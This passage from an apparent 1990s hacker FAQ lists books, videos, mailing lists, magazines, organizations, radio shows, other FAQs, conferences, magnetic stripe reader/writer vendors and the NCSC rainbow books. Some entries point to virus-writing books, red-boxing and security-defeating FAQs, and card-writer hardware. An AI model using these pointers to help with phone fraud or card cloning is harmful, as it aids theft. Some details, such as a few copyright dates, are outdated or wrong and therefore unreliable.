Unix Security for the Organization


Author: Richard Bryant
Publisher: Sams
Copyright Date: 1994
ISBN: 0-672-30571-2

Unix System Security Essentials


Author: Christopher Braun
Publisher: Addison Wesley
Copyright Date: 1995
ISBN: 0-201-42775-3

Firewalls

Building Internet Firewalls


Author: D. Brent Chapman and Elizabeth D. Zwicky Publisher: O'Reilly and Associates, Inc.
Copyright Date: 1995
ISBN: 1-56592-124-0

If you are going to purchase a book on firewalls, this is the one to buy.

Firewalls and Internet Security


Author: William Cheswick and Steven Bellovin Publisher: Addison Wesley
Copyright Date: 1994
ISBN: 0-201-63357-4

Internet Firewalls and Network Security Author: Karanjit S. Siyan and Chris Hare Publisher:
New Riders Publishing
Copyright Date: 1995
ISBN: 1-56205-437-6

Network Security

Network Security Secrets


Author: David J. Stang and Sylvia Moon Publisher: IDG Books

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Copyright Date: 1993


ISBN: 1-56884-021-7

Not a total waste of paper, but definitely not worth the $49.95 purchase price. The
book is a rehash of previously published information. The only secret we learn
from reading the book is that Sylvia Moon is a younger woman madly in love with
the older David Stang.

Complete Lan Security and Control


Author: Peter Davis
Publisher: Windcrest / McGraw Hill
Copyright Date: 1994
ISBN: 0-8306-4548-9 and 0-8306-4549-7

Network Security
Author: Steven Shaffer and Alan Simon Publisher: AP Professional
Copyright Date: 1994
ISBN: 0-12-638010-4

Network Security: How to Plan For It and How to Achieve It


Author: Richard M. Baker
Publisher

McGraw-Hill, Inc.
Copyright Date:
ISBN: 0-07-005141-0

Network Security
Author: Steven L. Shaffer and Alan R. Simon Publisher: Academic Press
Copyright Date: 1994
ISBN: 0-12-638010-4

Network Security: Private Communications in a Public World


Author: Charlie Kaufman, Radia Perlman and Mike Speciner
Publisher: Prentice Hall
Copyright Date: 1995
ISBN: 0-13-061466-1

Network and Internetwork Security: Principles and Practice Author: William Stallings
Publisher: Prentice Hall
Copyright Date: 1995
ISBN: 0-02-415483-0

Implementing Internet Security


Author: William Stallings
Publisher: New Rider Publishing
Copyright Date: 1995
ISBN: 1-56205-471-6

Actually Useful Internet Security Techniques Author: Larry J. Hughes, Jr.


Publisher: New Riders Publishing
Copyright Date: 1995
ISBN: 1-56205-508-9

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Cryptology

Applied Cryptography: Protocols, Algorithms, and Source Code in C Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-59756-2

Bruce Schneier's book replaces all other texts on cryptography. If you are
interested in cryptography, this is a must read. This may be the first and last book
on cryptography you may ever need to buy.

Cryptography and Data Security


Author: Dorothy Denning
Publisher: Addison-Wesley Publishing Co. Copyright Date: 1982
ISBN: 0-201-10150-5

Protect Your Privacy: A Guide for PGP Users Author: William Stallings
Publisher: Prentice-Hall
Copyright Date: 1994
ISBN: 0-13-185596-4

Codebreakers
Author: Kahn
Publisher: Simon and Schuster
Copyright Date:
ISBN:0-02-560460-0

Codebreakers: The Inside Story of Bletchley Park


Author: Francis Harry Hinsley and Alan Stripp
Publisher: Oxford University Press
Copyright Date: 1993
ISBN:0-19-285304-X

Cryptanalysis, a study of ciphers and their solution Author: Gaines, Helen Fouche
Publisher: Dover Publications
Copyright Date: 1956
ISBN:

Computer Privacy Handbook


Author: Andre' Bacard
Publisher: Peachpit Press
Copyright Date: 1995
ISBN: 1-56609-171-3

E-Mail Security with PGP and PEM


Author: Bruce Schneier
Publisher: John Wiley & Sons
Copyright Date: 1995
ISBN: 0-471-05318-X

PGP: Pretty Good Privacy


Author: Simson Garfinkel
Publisher: O'Reilly & Associates, Inc.
Copyright Date: 1995
ISBN: 1-56592-098-8

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Programmed Threats

The Little Black Book of Computer Viruses Author: Mark Ludwig


Publisher: American Eagle Publications Copyright Date: 1990
ISBN: 0-929408-02-0

The Giant Black Book of Computer Viruses Author: Mark Ludwig


Publisher: American Eagle Publications Copyright Date: 1995
ISBN:

Computer Viruses, Artificial Life and Evolution Author: Mark Ludwig


Publisher: American Eagle Publications Copyright Date: 1993
ISBN: 0-929408-07-1

Computer Viruses, Worms, Data Diddlers, Killer Programs, and Other Threats to Your System
Author: John McAfee and Colin Haynes
Publisher: St. Martin's Press
Copyright Date: 1989
ISBN: 0-312-03064-9 and 0-312-02889-X

The Virus Creation Labs: A Journey Into the Underground Author: George Smith
Publisher: American Eagle Publications Copyright Date: 1994
ISBN: 0-929408-09-8

A Short Course on Computer Viruses


Author: Dr. Fred Cohen
Publisher: John Wiley & Sons
Copyright Date: 1994
ISBN: 0-471-00769-2

Robert Slade's Guide to Computer Viruses Author: Robert Slade


Publisher: Springer-Verlag
Copyright Date: 1994
ISBN: 0-387-94311-0 / 3-540-94311-0

Telephony

Engineering and Operations in the Bell System Author: R.F. Rey


Publisher: Bell Telephont Laboratories Copyright Date: 1983
ISBN: 0-932764-04-5

Although hopelessly out of date, this book remains THE book on telephony. This
book is 100% Bell, and is loved by phreaks the world over.

Telephony: Today and Tomorrow


Author: Dimitris N. Chorafas
Publisher: Prentice-Hall
Copyright Date: 1984
ISBN: 0-13-902700-9

The Telecommunications Fact Book and Illustrated Dictionary Author: Ahmed S. Khan
Publisher: Delmar Publishers, Inc.

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Copyright Date: 1992


ISBN: 0-8273-4615-8

I find this dictionary to be an excellent reference book on telephony, and I


recommend it to anyone with serious intentions in the field.

Tandy/Radio Shack Cellular Hardware


Author: Judas Gerard and Damien Thorn Publisher: Phoenix Rising Communications
Copyright Date: 1994
ISBN:

The Phone Book


Author: Carl Oppendahl
Publisher: Consumer Reports
Copyright Date:
ISBN: 0-89043-364-x

Listing of every cellular ID in the us, plus roaming ports, and info numbers for
each carrier.

Principles of Caller I.D.


Author:
Publisher: International MicroPower Corp. Copyright Date:
ISBN:

Hacking History and Culture

The Hacker Crackdown: Law and Disorder on the Electronic Frontier Author: Bruce Sterling
Publisher: Bantam Books
Copyright Date: 1982
ISBN: 0-553-56370-X

Bruce Sterling has recently released the book FREE to the net. The book is much
easier to read in print form, and the paperback is only $5.99. Either way you read
it, you will be glad you did. Mr. Sterling is an excellent science fiction author and
has brought his talent with words to bear on the hacking culture. A very enjoyable
reading experience.

Hackers: Heroes of the Computer Revolution Author: Steven Levy


Publisher: Doubleday
Copyright Date: 1984
ISBN: 0-440-13495-6

Cyberpunk
Author: Katie Hafner and John Markoff Publisher: Simon and Schuster
Copyright Date: 1991
ISBN: 0-671-77879-X

The Cuckoo's Egg


Author: Cliff Stoll
Publisher: Simon and Schuster
Copyright Date: 1989
ISBN: 0-671-72688-9

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Masters of Deception
Author: Quittner, John
Publisher: HarperCollins Publishers, Incorporated, New York, NY ISBN: 0-06-017030-1

Unclassified

The Hacker's Handbook


Author: Hugo Cornwall
Publisher: E. Arthur Brown Company
Copyright Date:
ISBN: 0-912579-06-4

Secrets of a Super Hacker


Author: The Knightmare
Publisher: Loompanics
Copyright Date: 1994
ISBN: 1-55950-106-5

The Knightmare is no super hacker. There is little or no real information in this


book. The Knightmare gives useful advice like telling you not to dress up before
going trashing. The Knightmare's best hack is fooling Loompanics into publishing
this garbage.

The Day The Phones Stopped


Author: Leonard Lee
Publisher: Primus / Donald I Fine, Inc. Copyright Date: 1992
ISBN: 1-55611-286-6

Total garbage. Paranoid delusions of a lunatic. Less factual data that an average
issue of the Enquirer.

Information Warfare
Author: Winn Swartau
Publisher: Thunder Mountain Press
Copyright Date: 1994
ISBN: 1-56025-080-1

An Illustrated Guide to the Techniques and Equipment of Electronic Warfare Author: Doug
Richardson
Publisher: Salamander Press
Copyright Date:
ISBN: 0-668-06497-8

H-10. What are some videos of interest to hackers?

'Unauthorized Access' by Annaliza Savage $25 on VH S format in 38-min


Savage Productions
1803 Mission St., #406
Santa Cruz, CA 95060

Hacker's '95: A Phon-E & R.F. Burns Production

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See the video Emmanuel Goldstein thought would have the Feds knocking at his door.
Coverage of Summercon'95 Coverage of Defcon III The big Y fiasco at Summercon. PMF
(narc) interviews Emmanuel Goldstein & Eric BloodAxe. Trip to Area 51 and interview with
Psyhospy Coverage of the Secret Service briefing on Operation Cyber Snare (recent cell busts)
Talks on Crypto, HERF, the Feds, etc. All information is presented for educational purposes
only. Not for sale to government or law enforcement organizations. Running time aproximately
90 minutes. $34.95 ($29.95 if ordered via the WWW page) Custom Video Productions
(908)842-6378 videocvp@ix.netcom.com

H-11. What are some mailing lists of interest to hackers?

Academic Firewalls
Registration Address: Send a message to majordomo@greatcircle.com containing the line
"subscribe firewalls user@host"

The Alert
Registration Address: Send a message to request-alert@iss.net containing the line "subscribe
alert"

Bugtraq
Reflector Address: bugtraq@fc.net
Registration Address: bugtraq-request@fc.net

Cert Tools
Reflector Address: cert-tools@cert.org Registration Address: cert-tools-request@cert.org

Computers and Society


Reflector Address: Comp-Soc@limbo.intuitive.com Registration Address:
taylor@limbo.intuitive.com

Coordinated Feasibility Effort to Unravel State Data


Reflector Address: ldc-sw@cpsr.org Registration Address:

CPSR Announcement List


Reflector Address: cpsr-announce@cpsr.org Registration Address:

CPSR - Intellectual Property


Reflector Address: cpsr-int-prop@cpsr.org Registration Address:

CPSR - Internet Library


Reflector Address:cpsr-library@cpsr.org Registration Address:

Cypherpunks
Registration Address: Send a message to majordomo@toad.com containing the line "subscribe
cypherpunks"

DefCon Announcement List


Registration Address: Send a message to majordomo@fc.net containing the line "subscribe
dc-announce"

DefCon Chat List


Registration Address: Send a message to majordomo@fc.net containing the line "subscribe
dc-stuff"

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Discount Long Distance Digest


Registration Address: Send a message to: dld-request@webcom.com containing the line
"subscribe"

Electronic Payment
Registration Address: e-payment@cc.bellcore.com

IDS (Intruder Detection Systems)


Registration Address: Send a message to majordomo@wyrm.cc.uow.edu.au containing the line
"subscribe ids"

Information Warfare
Registration Address: E-mail iw@all.net with a request to be added.

Linux-Alert
Registration Address: majordomo@linux.nrao.edu

Linux-Security
Registration Address: majordomo@linux.nrao.edu

Macintosh Security
Reflector Address: mac-security@eclectic.com Registration Address: mac-security-
request@eclectic.com

NetWare Security
Registration Address: Send a message to majordomo@dey-systems.com containing the line
"subscribe netware-hack"

NeXT Managers
Registration Address: next-managers-request@stolaf.edu

PGP3 announcement list


Registration Address: Send a message to pgp-announce-request@lsd.com with the subject of
"Your Name user@host">

Phiber-Scream
Registration Address: Send a message to listserv@netcom.com containing the line "subscribe
phiber-scream user@host"

phruwt-l (Macintosh H/P)


Registration Address: Send a message to filbert@netcom.com with the subject "phruwt-l"

rfc931-users
Reflector Address: rfc931-users@kramden.acf.nyu.edu Registration Address:
brnstnd@nyu.edu

RSA Users
Reflector Address: rsaref-users@rsa.com Registration Address: rsaref-users-request@rsa.com

WWW Security
Registration Address: www-security@ns2.rutgers.edu

H-12. What are some print magazines of interest to hackers?

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2600 - The Hacker Quarterly

E-mail addresses:
info@2600.com To get info on 2600
index@2600.com To get a copy of our index
meetings@2600.com For info on starting your own meeting
subs@2600.com For subscription problems
letters@2600.com To send us a letter
articles@2600.com To send us an article
2600@2600.com To send us a general message

Subscription Address:

2600 Subscription Dept


PO Box 752
Middle Island, NY
11953-0752

Letters and article submission address:

2600 Editorial Department


PO Box 99
Middle Island, NY
11953-0099

Phone Number: (516)751-2600


Fax Number: (516)474-2677
Voice BBS: (516)473-2626

Subscriptions: United States: $21/yr individual, $50 corporate.


Overseas: $30/yr individual, $65 corporate

Gray Areas

Gray Areas examines gray areas of law and morality and subject matter which is illegal,
immoral and/or controversial. Gray Areas explores why hackers hack and puts hacking into a
sociological framework of deviant behavior.

E-Mail Address: grayarea@well.sf.ca.us


E-Mail Address: grayarea@netaxs.com

U.S. Mail Address:

Gray Areas
PO Box 808
Broomall, PA 19008

Subscriptions:
$26.00 4 issues first class
$34.00 4 issues foreign (shipped air mail)

Privacy Newsletter

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Privacy Newsletter is a monthly newsletter devoted to showing consumers how to get privacy
and keep it.

E-Mail Address: privacy@interramp.com

Subscription Address:

Privacy Newsletter
P.O. Box 8206
Philadelphia, PA 19101-8206

Subscriptions: $99/yr (US) $149/yr (Overseas)

Wired

Subscription Address: subscriptions@wired.com or

Wired
PO Box 191826
San Francisco, CA 94119-9866

Letters and article submission address: guidelines@wired.com or

Wired
544 Second Street
San Francisco, CA 94107-1427

Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas)

Nuts & Volts

T& L Publications
430 Princeland Court
Corona, CA 91719
(800)783-4624 (Voice) (Subscription Only Order Line) (909)371-8497 (Voice)
(909)371-3052 (Fax)
CIS: 74262,3664

Cybertek: The Cyberpunk Technical Journal

P.O. Box 64
Brewster, NY 10509

Frequency: Bimonthly
Domestic Subscription Rate: $15/year (6 issues)

PrivateLine

5150 Fair Oaks Blvd. #101-348

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Carmichael, CA 95608 USA

E-Mail: privateline@delphi.com

Subscriptions: $24 a year for six issues

Text of back issues are at the etext archive at Michigan. Gopher or ftp to:
etext.archive.umich.edu/pub/Zines/PrivateLine

H-13. What are some e-zines of interest to hackers?

CoTNo: Communications of The New Order ftp.etext.org /pub/Zines/CoTNo


Empire Times ftp.etext.org /pub/Zines/Emptimes
Phrack http://www.phrack.org/

H-14. What are some organizations of interest to hackers?

Computer Professionals for Social Responsibility (CPSR)

CPSR empowers computer professionals and computer users to advocate for the responsible
use of information technology and empowers all who use computer technology to participate
in the public debate. As technical experts, CPSR members provide the public and policy
makers with realistic assessments of the power, promise, and limitations of computer
technology. As an organization of concerned citizens, CPSR directs public attention to critical
choices concerning the applications of computing and how those choices affect society.

By matching unimpeachable technical information with policy development savvy, CPSR uses
minimum dollars to have maximum impact and encourages broad public participation in the
shaping of technology policy.

Every project we undertake is based on five principles:

We foster and support public discussion of and public responsibility for decisions
involving the use of computers in systems critical to society.

We work to dispel popular myths about the infallibility of technological systems.

We challenge the assumption that technology alone can solve political and social
problems.

We critically examine social and technical issues within the computer profession,
nationally and internationally.

We encourage the use of computer technology to improve the quality of life.

CPSR Membership Categories:

75 REGULAR MEMBER
50 Basic member
200 Supporting member

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500 Sponsoring member


1000 Lifetime member
20 Student/low income member
50 Foreign subscriber
50 Library/institutional subscriber

CPSR National Office


P.O. Box 717
Palo Alto, CA 94301
415-322-3778
415-322-3798 (FAX)
E-mail: cpsr@csli.stanford.edu

Electronic Frontier Foundation (EFF)

The Electronic Frontier Foundation (EFF) is dedicated to the pursuit of policies and activities
that will advance freedom and openness in computer-based communications. It is a member-
supported, nonprofit group that grew from the conviction that a new public interest
organization was needed in the information age; that this organization would enhance and
protect the democratic potential of new computer communications technology. From the
beginning, the EFF determined to become an organization that would combine technical, legal,
and public policy expertise, and would apply these skills to the myriad issues and concerns that
arise whenever a new communications medium is born.

Memberships are $20.00 per year for students, $40.00 per year for regular members, and
$100.00 per year for organizations.

The Electronic Frontier Foundation, Inc. 1001 G Street, NW


Suite 950 East
Washington, D.C. 20001
(202)544 9237
(202)547 5481 FAX
Internet: eff@eff.org

Free Software Foundation (FSF) and GNU

The Free Software Foundation is dedicated to eliminating restrictions on people's right to use,
copy, modify, and redistribute computer programs. We promote the development and use of
free software in all areas using computers. Specifically, we are putting together a complete,
integrated software system named "GNU" ("GNU's Not Unix", pronounced "guh-new") that
will be upwardly compatible with Unix. Most parts of this system are already being used and
distributed.

The word "free" in our name refers to freedom, not price. You may or may not pay money to
get GNU software, but regardless you have two specific freedoms once you get it: first, the
freedom to copy a program and give it away to your friends and co-workers; and second, the
freedom to change a program as you wish, by having full access to source code. You can study
the source and learn how such programs are written. You may then be able to port it, improve
it, and share your changes with others. If you redistribute GNU software you may charge a
distribution fee or give it away, so long as you include the source code and the GPL (GNU
General Public License).

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Free Software Foundation, Inc. Telephone: +1-617-876-3296


673 Massachusetts Avenue Fax: +1-617-492-9057
Cambridge, MA 02139-3309 USA Fax (in Japan): 0031-13-2473 (KDD)
Electronic mail: gnu@prep.ai.mit.edu 0066-3382-0158 (IDC)

GNU is to be a complete integrated computational environment: everything you need to work


with a computer, either as a programmer or as a person in an office or home. The core is an
operating system, which consists of a central program called a kernel that runs the other
programs on the computer, and a large number of ancillary programs for handling files, etc.
The Free Software Foundation is developing an advanced kernel called the Hurd.

A complete system has tools for programmers, such as compilers and debuggers. It also has
editors, sketchpads, calendars, calculators, spreadsheets, databases, electronic mail readers,
and Internet navigators. The FSF already distributes most of the programs used in an operating
system, all the tools regularly used by programmers, and much more.

The League for Programming Freedom (LPF)

The League for Programming Freedom is an organization of people who oppose the attempt to
monopolize common user interfaces through "look and feel" copyright lawsuits. Some of us are
programmers, who worry that such monopolies will obstruct our work. Some of us are users,
who want new computer systems to be compatible with the interfaces we know. Some are
founders of hardware or software companies, such as Richard P. Gabriel. Some of us are
professors or researchers, including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert
S. Boyer and Patrick Winston.

"Look and feel" lawsuits aim to create a new class of government- enforced monopolies
broader in scope than ever before. Such a system of user-interface copyright would impose
gratuitous incompatibility, reduce competition, and stifle innovation.

We in the League hope to prevent these problems by preventing user-interface copyright. The
League is NOT opposed to copyright law as it was understood until 1986 -- copyright on
particular programs. Our aim is to stop changes in the copyright system which would take
away programmers' traditional freedom to write new programs compatible with existing
programs and practices.

Annual dues for individual members are $42 for employed professionals, $10.50 for students,
and $21 for others. We appreciate activists, but members who cannot contribute their time are
also welcome.

To contact the League, phone (617) 243-4091, send Internet mail to the address
league@prep.ai.mit.edu, or write to:

League for Programming Freedom


1 Kendall Square #143
P.O. Box 9171
Cambridge, MA 02139 USA

SotMesc

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Founded in 1989, SotMesc is dedicated to preserving the integrity and cohesion of the
computing society. By promoting computer education, liberties and efficiency, we believe we
can secure freedoms for all computer users while retaining privacy.

SotMesc maintains the CSP Internet mailing list, the SotMesc Scholarship Fund, and the
SotMesc Newsletter.

The SotMESC is financed partly by membership fees, and donations, but mostly by selling
hacking, cracking, phreaking, electronics, internet, and virus information and programs on disk
and bound paper media.

SotMesc memberships are $20 to students and $40 to regular members.

SotMESC
P.O. Box 573
Long Beach, MS 39560

Computer Emergency Response Team (CERT)

CERT is the Computer Emergency Response Team that was formed by the Defense Advanced
Research Projects Agency (DARPA) in November 1988 in response to the needs exhibited
during the Internet worm incident. The CERT charter is to work with the Internet community
to facilitate its response to computer security events involving Internet hosts, to take proactive
steps to raise the community's awareness of computer security issues, and to conduct research
targeted at improving the security of existing systems.

CERT products and services include 24-hour technical assistance for responding to computer
security incidents, product vulnerability assistance, technical documents, and seminars. In
addition, the team maintains a number of mailing lists (including one for CERT advisories) and
provides an anonymous FTP server: cert.org (192.88.209.5), where security-related
documents, past CERT advisories, and tools are archived.

CERT contact information:

U.S. mail address


CERT Coordination Center
Software Engineering Institute
Carnegie Mellon University
Pittsburgh, PA 15213-3890
U.S.A.

Internet E-mail address


cert@cert.org

Telephone number
(412)268-7090 (24-hour hotline)
CERT Coordination Center personnel answer 7:30 a.m.- 6:00 p.m. EST(GMT-
5)/EDT(GMT-4), on call for emergencies during other hours.

FAX number
(412)268-6989

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H-15. What are some radio programs of interest to hackers?

Off The Hook New York 99.5 FM Tue 8pm EST


Off The Hook Short Wave 7415 kHz Wed 6pm EST
Full Disclosure Live Short Wave WWCR 5065 kHz Sun 8pm EST
Full Disclosure Live Oil City, PA WOYL AM-1340 Sun 8pm EST
Full Disclosure Live Satellite Telstar 302 (T2), Ch 21, 5.8 Sun 8pm EST

H-16. What are other FAQ's of interest to hackers?

The Unofficial Netware Hack FAQ


Author: Simple Nomad <thegnome@nmrc.org>
http://nmrc.org/faqs/netware/index.html

The Unofficial NT Hack FAQ


Author: Simple Nomad <thegnome@nmrc.org>
http://nmrc.org/faqs/nt/index.html

The Unofficial Web Hack FAQ


Author: Simple Nomad <thegnome@nmrc.org>
http://nmrc.org/faqs/www/index.html

The PGP Attack FAQ


Author: Route

The UK Phone Phreaking F.A.Q.


Author: Pyro Teknik <pyro-teknik@geocities.com> <pteknik@spasm.redcat.org.uk>
http://www.crossbar.demon.co.uk/ukphreak.txt

alt.ph.uk FAQ
Author: Virtua7 m00jrwd@ecs.ox.ac.uk
http://alt.ph.uk.com/

Mac Hack FAQ: Defeating Security


Author: AX1P (an149689@anon.penet.fi)

Frequently Asked Questions About Red Boxing Author: Mr. Sandman


(an132432@anon.penet.fi)

VMS FAQ (Frequently Ask Questions)


Author: The Beaver (beaver@upperdck.blkbox.com)

Anonymous FTP FAQ


Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp://ftp.iss.net /pub/faq/anonftp

Compromise FAQ: What if your Machines are Compromised by an Intruder


Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp://ftp.iss.net /pub/faq/compromise

Security Patches FAQ


Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp//:ftp.iss.net /pub/faq/patch

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Sniffer FAQ
Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp://ftp.iss.net /pub/faq/sniff

Vendor Security Contacts: Reporting Vulnerabilities and Obtaining New Patches


Author: Christopher Klaus <cklaus@iss.net> of Internet Security Systems, Inc.
ftp://ftp.iss.net /pub/faq/vendor

Cryptography FAQ
Author: The Crypt Cabal
ftp://rtfm.mit.edu /pub/usenet-by-group/sci.crypt/

Firewalls FAQ
Author: Marcus J. Ranum (mjr@ss1.lightspeed.net)
ftp://rtfm.mit.edu /pub/usenet-by-group/comp.security.misc/

Buying a Used Scanner Radio


Author: parnass@att.com (Bob Parnass, AJ9S)
ftp://rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

How to Find Scanner Frequencies


Author: parnass@att.com (Bob Parnass, AJ9S)
ftp://rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

Introduction to Scanning
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp://rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

Low Power Broadcasting FAQ


Author: Rick Harrison.
ftp://rtfm.mit.edu /pub/usenet-by-group/alt.radio.pirate/

RSA Cryptography Today FAQ


Author: Paul Fahn
ftp://rtfm.mit.edu /pub/usenet-by-group/sci.crypt/

VIRUS-L comp.virus Frequently Asked Questions (FAQ) Author: Kenneth R. van Wyk
<krvw@cert.org>
ftp://rtfm.mit.edu /pub/usenet-by-group/comp.virus/

Where to get the latest PGP (Pretty Good Privacy) FAQ Author: mpj@csn.net (Michael
Johnson)
ftp://rtfm.mit.edu /pub/usenet-by-group/alt.security.pgp/

alt.locksmithing answers to Frequently Asked Questions (FAQ) Author: spike@indra.com (Joe


Ilacqua)
ftp://rtfm.mit.edu /pub/usenet-by-group/alt.locksmithing/

comp.os.netware.security FAQ
Author: Fauzan Mirza <F.U.Mirza@sheffield.ac.uk>
ftp://rtfm.mit.edu /pub/usenet-by-group/comp.os.netware.security/

rec.pyrotechnics FAQ
Author: zoz@cs.adelaide.edu.au (Hans Josef Wagemueller)
ftp://rtfm.mit.edu /pub/usenet-by-group/rec.pyrotechnics/

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H-17. What are some conferences of interest to hackers?

Every year a hacker convention disappears and two new ones crop up in it's place.

CuervoCon every Winter in Texas


http://www.cuervocon.org

DefCon every Summer in Las Vegas


http://www.defcon.org

For more information, keep your eyes on the web.

H-18. What are some telephone numbers of interest to hackers?

The DefCon Voice Bridge (801)855-3326

H-19. Where can I purchase a magnetic stripe reader/writer?

Mag-Tek
http://www.magtek.com
20725 S. Annalee Avenue
Carson, CA 90746
(310)631-8602 (Voice)
(310)631-3956 (Fax)

Track Write Interface Model Price


2 No Keyboard/RS-232
1,2 No Keyboard/RS-232
2,3 No Keyboard/RS-232
1,2,3 No RS-232
1,2,3 Yes Standalone/RS-232

American Microsystems
http://www.amis.com
2190 Regal Parkway
Euless, TX 76040
(800)648-4452 (Voice)
(817)685-6232 (Fax)

Track Write Interface Model Price


2 No $250

CPU Advance

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PO Box 2434
Harwood Station
Littleton, MA 01460
(508)624-4819 (Fax)

Track Write Interface Model Price


1,2 Yes C1523 $389
2,3 Yes C1534 $389

Herback and Rademan


http://www.herbach.com
18 Canal Street
P.O. Box 122
Bristol, PA 19007-0122
(215)788-5583 (Voice)
(215)788-9577 (Fax)

Track Write Interface Model Price


2 No TM92CMP1966 $15

Neuron Electronics
http://www.neuron-usa.com
3848 Del Amo Boulevard
Suite #301
Torrance, CA 90503
(310)793-1300 (Voice)
(310)793-1304 (Fax)

Track Write Interface Model Price


2 Yes MCR 231-2A

Omron Electronics, Inc.


http://www.omron.com
One East Commerce Drive
Schaumburg, IL 60173
(800)556-6766 (Voice)
(708)843-7787 (Fax)

Security Photo Corporation


1051 Commonwealth Avenue
Boston, MA 02215
(800)533-1162 (Voice)
(617)783-3200 (Voice)
(617)783-1966 (Voice)

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Timeline Inc,
http://www.timeline-inc.com/
23605 Telo Avenue
Torrence, CA 90505
(800)872-8878 (Voice)
(800)223-9977 (Voice)

Alltronics
http://www.alltronics.com
2300 Zanker Road
San Jose, CA 95131
(408) 943-9774 Voice
(408) 943-9776 Fax
(408) 943-0622 BBS
Part Number: 92U067

Atalla Security Products (HP)


http://atalla.nonstop.compaq.com
2304 Zanker Road
San Jose, CA 95131
(800)523-9981 (Voice)
(408)435-8850 (Voice)
(408)435-1116 (Fax)

H-20. What are the rainbow books and how can I get them?

Orange Book
DoD 5200.28-STD
Department of Defense Trusted Computer System Evaluation Criteria.

Green Book
CSC-STD-002-85
Department of Defense Password Management Guideline.

Yellow Book
CSC-STD-003-85
Computer Security Requirements -- Guidance for Applying the Department of Defense
Trusted Computer System Evaluation Criteria in Specific Environments.

Yellow Book
CSC-STD-004-85
Technical Rationale Behind CSC-STD-003-85: Computer Security Requirements. Guidance
for Applying the Department of Defense Trusted Computer System Evaluation Criteria in
Specific Environments.

Tan Book
NCSC-TG-001
A Guide to Understanding Audit in Trusted Systems.

Bright Blue Book


NCSC-TG-002
Trusted Product Evaluation - A Guide for Vendors.

Neon Orange Book

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NCSC-TG-003
A Guide to Understanding Discretionary Access Control in Trusted Systems.

Teal Green Book


NCSC-TG-004
Glossary of Computer Security Terms.

Red Book
NCSC-TG-005
Trusted Network Interpretation of the Trusted Computer System Evaluation Criteria.

Orange Book
NCSC-TG-006
A Guide to Understanding Configuration Management in Trusted Systems.

Burgundy Book
NCSC-TG-007
A Guide to Understanding Design Documentation in Trusted Systems.

Dark Lavender Book


NCSC-TG-008
A Guide to Understanding Trusted Distribution in Trusted Systems.

Venice Blue Book


NCSC-TG-009
Computer Security Subsystem Interpretation of the Trusted Computer System Evaluation
Criteria.

Aqua Book
NCSC-TG-010
A Guide to Understanding Security Modeling in Trusted Systems.

Dark Red Book


NCSC-TG-011
Trusted Network Interpretation Environments Guideline -- Guidance for Applying the Trusted
Network Interpretation.

Pink Book
NCSC-TG-013
Rating Maintenance Phase -- Program Document.

Purple Book
NCSC-TG-014
Guidelines for Formal Verification Systems.

Brown Book
NCSC-TG-015
A Guide to Understanding Trusted Facility Management.

Yellow-Green Book
NCSC-TG-016
Guidelines for Writing Trusted Facility Manuals.

Light Blue
NCSC-TG-017
A Guide to Understanding Identification and Authentication in Trusted Systems.

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Light Blue Book


NCSC-TG-018
A Guide to Understanding Object Reuse in Trusted Systems.

Blue Book
NCSC-TG-019
Trusted Product Evaluation Questionnaire.

Gray Book
NCSC-TG-020-A
Trusted Unix Working Group (TRUSIX) Rationale for Selecting Access Control List Features
for the Unix System.

Lavender Book
NCSC-TG-021
Trusted Data Base Management System Interpretation of the Trusted Computer System
Evaluation Criteria.

Yellow Book
NCSC-TG-022
A Guide to Understanding Trusted Recovery in Trusted Systems.

Bright Orange Book


NCSC-TG-023
A Guide to Understandng Security Testing and Test Documentation in Trusted Systems.

Purple Book
NCSC-TG-024 (Volume 1/4)
A Guide to Procurement of Trusted Systems: An Introduction to Procurement Initiators on
Computer Security Requirements.

Purple Book
NCSC-TG-024 (Volume 2/4)
A Guide to Procurement of Trusted Systems: Language for RFP Specifications and Statements
of Work - An Aid to Procurement Initiators.

Purple Book
NCSC-TG-024 (Volume 3/4)
A Guide to Procurement of Trusted Systems: Computer Security Contract Data Requirements
List and Data Item Description Tutorial.

Purple Book
NCSC-TG-024 (Volume 4/4)
A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's Proposal Document -
An Aid to Procurement Initiators and Contractors.

Green Book
NCSC-TG-025
A Guide to Understanding Data Remanence in Automated Information Systems.

Hot Peach Book


NCSC-TG-026
A Guide to Writing the Security Features User's Guide for Trusted Systems.

Turquiose Book
NCSC-TG-027
A Guide to Understanding Information System Security Officer Responsibilities for Automated

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Information Systems.

Violet Book
NCSC-TG-028
Assessing Controlled Access Protection.

Blue Book
NCSC-TG-029
Introduction to Certification and Accreditation.

Light Pink Book


NCSC-TG-030
A Guide to Understanding Covert Channel Analysis of Trusted Systems.

C1 Technical Report-001
Computer Viruses: Prevention, Detection, and Treatment.

C Technical Report 79-91


Integrity in Automated Information Systems.

C Technical Report 39-92


The Design and Evaluation of INFOSEC systems: The Computer Security Contributions to the
Composition Discussion.

C Technical Report 111-91


Integrity-Oriented Control Objectives: Proposed Revisions to the TCSEC, October 1991.

NCSC Technical Report 002


Use of the TCSEC for Complex, Evolving, Multipolicy Systems.

NCSC Technical Report 003


Turning Multiple Evaluated Products Into Trusted Systems.

NCSC Technical Report 004


A Guide to Procurement of Single Connected Systems - Language for RFP Specifications and
Statements of Work - An Aid to Procurement Initiators - Includes Complex, Evolving, and
Multipolicy Systems.

NCSC Technical Report 005 Volume 1/5


Inference and Aggregation Issues In Secure Database Management Systems.

NCSC Technical Report 005 Volume 2/5


Entity and Referential Integrity Issues In Multilevel Secure Database Management.

NCSC Technical Report 005 Volume 3/5


Polyinstantiation Issues In Multilevel Secure Database Management Systems.

NCSC Technical Report 005 Volume 4/5


Auditing Issues In Secure Database Management Systems.

NCSC Technical Report 005 Volume 5/5


Discretionary Access Control Issues In High Assurance Secure Database Management
Systems.

NTISSAM COMPUSEC/1-87
Advisory Memorandum on Office Automation Security Guideline.

